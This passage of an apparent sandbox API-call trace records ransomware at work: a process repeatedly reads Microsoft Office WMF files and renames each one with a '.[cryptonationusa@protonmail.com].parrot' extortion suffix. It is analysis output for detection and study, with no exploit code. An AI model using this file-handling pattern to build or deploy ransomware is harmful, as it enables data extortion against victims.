nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.672] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.672] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc6e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc6e, lpOverlapped=0x0) returned 1 [0163.673] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0163.677] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.677] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.678] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.678] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc4c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc4c, lpOverlapped=0x0) returned 1 [0163.678] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0163.682] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.682] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.684] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.684] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x738, lpOverlapped=0x0) returned 1 [0163.685] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.688] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.688] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.690] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.691] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d5c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3d5c, lpOverlapped=0x0) returned 1 [0163.692] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229c058 | out: hHeap=0x5b0000) returned 1 [0163.696] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.697] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.698] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.698] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x704, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x704, lpOverlapped=0x0) returned 1 [0163.698] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.702] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.702] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.704] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.704] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7fc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7fc, lpOverlapped=0x0) returned 1 [0163.704] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.708] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.708] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.709] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.709] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6a4, lpOverlapped=0x0) returned 1 [0163.709] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.711] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.711] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.711] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0163.713] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.713] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.715] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.715] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x726, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x726, lpOverlapped=0x0) returned 1 [0163.715] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.717] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.717] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.717] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.720] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.720] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.721] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.721] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1552, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1552, lpOverlapped=0x0) returned 1 [0163.722] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0163.727] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.727] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.728] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.728] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1212, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1212, lpOverlapped=0x0) returned 1 [0163.729] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0163.733] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.734] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.736] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.736] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1136, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1136, lpOverlapped=0x0) returned 1 [0163.737] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0163.741] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.741] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.742] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.743] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x213c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x213c, lpOverlapped=0x0) returned 1 [0163.743] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229c058 | out: hHeap=0x5b0000) returned 1 [0163.748] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.748] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.749] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.749] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x72c, lpOverlapped=0x0) returned 1 [0163.750] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.750] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.756] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.756] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.757] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.758] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x756, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x756, lpOverlapped=0x0) returned 1 [0163.758] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.762] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.762] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.763] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 